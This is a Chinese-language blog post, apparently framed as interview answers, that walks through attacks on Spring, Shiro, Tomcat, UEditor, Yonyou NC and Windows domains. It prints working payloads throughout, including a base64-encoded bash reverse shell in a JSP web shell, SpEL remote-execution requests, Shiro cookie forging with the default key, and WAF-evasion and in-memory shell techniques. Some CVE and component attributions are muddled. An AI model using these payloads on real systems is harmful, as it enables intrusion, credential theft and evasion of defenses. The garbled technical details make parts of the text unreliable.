網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
長亭
一、Spring SpEL表達式注入漏洞
1. 技術原理
2. 利用條件
3. 攻擊方法
4. 防御策略
二、Java JDBC反序列化高版本不出網利用
1. 漏洞背景
2. 本地利用鏈構造
3. 利用步驟
4. 防御方案
三、Tomcat BeanShell(BECL)漏洞利用
1. 漏洞原理(CVE-2017-12615)
2. 攻擊流程
3. 防御措施
四、Shiro反序列化漏洞
1. 加密機制
2. 攻擊流程
3. WAF繞過技術
五、UEditor漏洞利用及WAF繞過
1. 受影響版本
2. 攻擊示例
3. WAF繞過技巧
六、內網Windows Print Spooler漏洞(PrintNightmare)
1. 漏洞原理(CVE-2021-34527)
2. 利用工具
3. 防御方案
七、PetitPotam攻擊原理
1. 攻擊流程
2. 工具使用
3. 緩解措施
八、域用戶與工作組用戶差異
九、域控攻擊方法論
1. 信息收集階段
2. 權限提升路徑
3. 持久化技術
十、Spring4Shell & Log4j漏洞對比
十一、外網常用打點漏洞清單
十二、任意文件讀取深度利用
1. 敏感文件枚舉
2. 組合利用案例
十三、用友NC BeanShell繞過WAF
1. 漏洞觸發點
2. 命令混淆技巧
3. WAF繞過方案
十四、Shiro Cookie過長WAF攔截解決方案
1. Payload壓縮技術
2. 內存馬注入
長亭
sping spel漏洞原理&利用方法 什么情況才能利用 java jdbc反序列化高版本不出網的條件下如何利用 tomcat becl如何利用 shiro 反序列化用的哪種加密方法 如何利用 ueditor 哪種語言環境存在漏洞 怎么利用 如何繞waf 內網windows print spooler 利用&原理 內網 PotiPetam利用&原理 域內用戶和工作組用戶的差別 如何攻擊域控 spring4shell&log4j利用 外網常用打點漏洞有哪些 一個任意文件讀取/任意文件下載,如何進一步利用 用友nc beanshell執行命令如何繞waf shiro反序列化漏洞 如何cookie中的payload 過長被waf 攔截 如何繞waf
一、Spring SpEL表達式注入漏洞
1. 技術原理
- 表達式解析機制:Spring框架在處理
@Value
注解、SpelExpressionParser
時未正確過濾用戶輸入- 沙箱逃逸:通過
T(Type)
運算符訪問Java類加載器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
- 觸發場景:HTTP參數綁定、錯誤消息處理、動態模板渲染
2. 利用條件
- Spring版本 < 5.0.6(CVE-2018-1270)
- 存在用戶輸入直接拼接至SpEL表達式
- 應用未啟用表達式安全模式(如
StandardEvaluationContext
被誤用)3. 攻擊方法
http
POST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")}
4. 防御策略
- 升級Spring至5.0.6+版本
- 全局替換
StandardEvaluationContext
為SimpleEvaluationContext
- 輸入過濾:正則表達式攔截
T\(.*?\)
等危險語法
二、Java JDBC反序列化高版本不出網利用
1. 漏洞背景
- MySQL Connector/J 8.0+反序列化限制:
autoDeserialize
參數默認關閉- 不出網限制:無法建立JNDI連接或RMI反向Shell
2. 本地利用鏈構造
- TemplatesImpl鏈:
java
// 生成惡意字節碼 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入靜態代碼塊執行命令... byte[] byteCode = clazz.toBytecode(); // 構造TemplatesImpl對象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步驟
- 利用CC鏈(如CC6)觸發TemplatesImpl#newTransformer()
- 通過JDBC連接屬性觸發反序列化:
jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
- 升級JDBC驅動至最新版
- 配置數據庫連接池禁用
autoDeserialize
參數
三、Tomcat BeanShell(BECL)漏洞利用
1. 漏洞原理(CVE-2017-12615)
- BeanShell腳本引擎:Tomcat默認允許
.bsh
文件解析- 文件上傳繞過:利用
PUT
方法上傳.jsp
文件時,添加/
后綴繞過過濾(如shell.jsp%20
)2. 攻擊流程
http
PUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
- 禁用HTTP PUT方法
- 配置
web.xml
限制腳本文件擴展名
四、Shiro反序列化漏洞
1. 加密機制
- AES-CBC模式:默認使用硬編碼密鑰
kPH+bIxk5D2deZiIxcaaaA==
- RememberMe Cookie結構:Base64(AES(序列化數據))
2. 攻擊流程
- 生成惡意對象:
bash
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin
- 加密payload:
python
from Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload))
- 發送Cookie:
Cookie: rememberMe=Base64(encrypted)
3. WAF繞過技術
- 分塊傳輸:將Cookie拆分為多個
rememberMe=part1; rememberMe=part2
- 注釋符注入:利用
/**/
分割payload,如reme/*xxx*/mberMe=...
- 短Payload構造:使用URLClassLoader加載遠程jar(需DNS出網)
五、UEditor漏洞利用及WAF繞過
1. 受影響版本
- JSP版本:1.4.3之前存在任意文件上傳(CVE-2017-1000498)
- 漏洞路徑:
/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻擊示例
http
POST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF繞過技巧
- MIME偽裝:修改Content-Type為
image/png
- 路徑遍歷:文件名設置為
../../../test.jsp
- Unicode編碼:
test.%6a%73%70
六、內網Windows Print Spooler漏洞(PrintNightmare)
1. 漏洞原理(CVE-2021-34527)
- RPC協議缺陷:
RpcAddPrinterDriverEx
未驗證調用者權限- 驅動程序加載:遠程加載惡意DLL實現SYSTEM權限執行
2. 利用工具
powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
- 禁用Print Spooler服務
- 安裝2021年7月微軟補丁
七、PetitPotam攻擊原理
1. 攻擊流程
- 強制域控通過MS-EFSRPC協議向攻擊者發起NTLM認證
- 中繼認證至LDAP服務,修改域對象ACL
- 授予攻擊者DCSync權限,導出krbtgt哈希
2. 工具使用
bash
python3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1
3. 緩解措施
- 啟用SMB簽名
- 禁用NTLM認證
八、域用戶與工作組用戶差異
特征 域用戶 工作組用戶 認證中心 域控制器(AD) 本地SAM數據庫 策略管理 組策略統一應用 本地策略獨立配置 資源共享 域內全局訪問 需手動配置共享權限 典型攻擊面 Kerberoasting、DCSync 本地提權、密碼復用
九、域控攻擊方法論
1. 信息收集階段
- BloodHound分析:識別高價值路徑(如域管登錄過的機器)
- SPN掃描:
setspn -T domain -Q */*
2. 權限提升路徑
- MS14-068:偽造PAC獲取域管權限(需未打補丁)
- ZeroLogon:重置域控機器賬戶密碼(CVE-2020-1472)
3. 持久化技術
- Golden Ticket:使用krbtgt哈希生成任意用戶TGT
- SID History注入:添加域管SID至普通用戶
十、Spring4Shell & Log4j漏洞對比
特征 Spring4Shell (CVE-2022-22965) Log4j (CVE-2021-44228) 觸發條件 Tomcat+War部署、JDK9+ 日志記錄包含 ${jndi:ldap://}
利用鏈 數據綁定→日志文件寫入WebShell JNDI→LDAP加載遠程類 回顯方式 需訪問寫入的JSP文件 直接通過DNS/HTTP請求外帶數據 影響版本 Spring 5.3.0-5.3.17, 5.2.0-5.2.19 Log4j 2.0-beta9 - 2.14.1
十一、外網常用打點漏洞清單
- Web漏洞
- SQL注入(如時間盲注繞過WAF)
- 文件上傳(類型校驗繞過)
- SSRF(云元數據API利用)
- 框架漏洞
- Shiro反序列化
- Fastjson JNDI注入
- 協議漏洞
- FTP匿名訪問
- Redis未授權訪問
十二、任意文件讀取深度利用
1. 敏感文件枚舉
- Linux:
/etc/passwd
→/proc/self/environ
→~/.ssh/id_rsa
- Windows:
C:\Windows\win.ini
→C:\Windows\Panther\Unattended.xml
2. 組合利用案例
- 讀取Spring配置文件:獲取數據庫密碼→橫向移動
- 獲取Kubernetes Token:
/var/run/secrets/kubernetes.io/serviceaccount/token
十三、用友NC BeanShell繞過WAF
1. 漏洞觸發點
- 接口路徑:
/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java
// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd);
3. WAF繞過方案
- Unicode轉義:
\u0077\u0068\u006f\u0061\u006d\u0069
- 反射調用:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")
十四、Shiro Cookie過長WAF攔截解決方案
1. Payload壓縮技術
- GZIP壓縮:將序列化數據壓縮后加密
- 分片存儲:將Payload拆分存儲至多個Cookie
2. 內存馬注入
- 發送短Payload加載ClassLoader
- 通過HTTP頭傳輸字節碼:
X-Payload: CAFEBABE...
- 反射定義惡意類實現內存駐留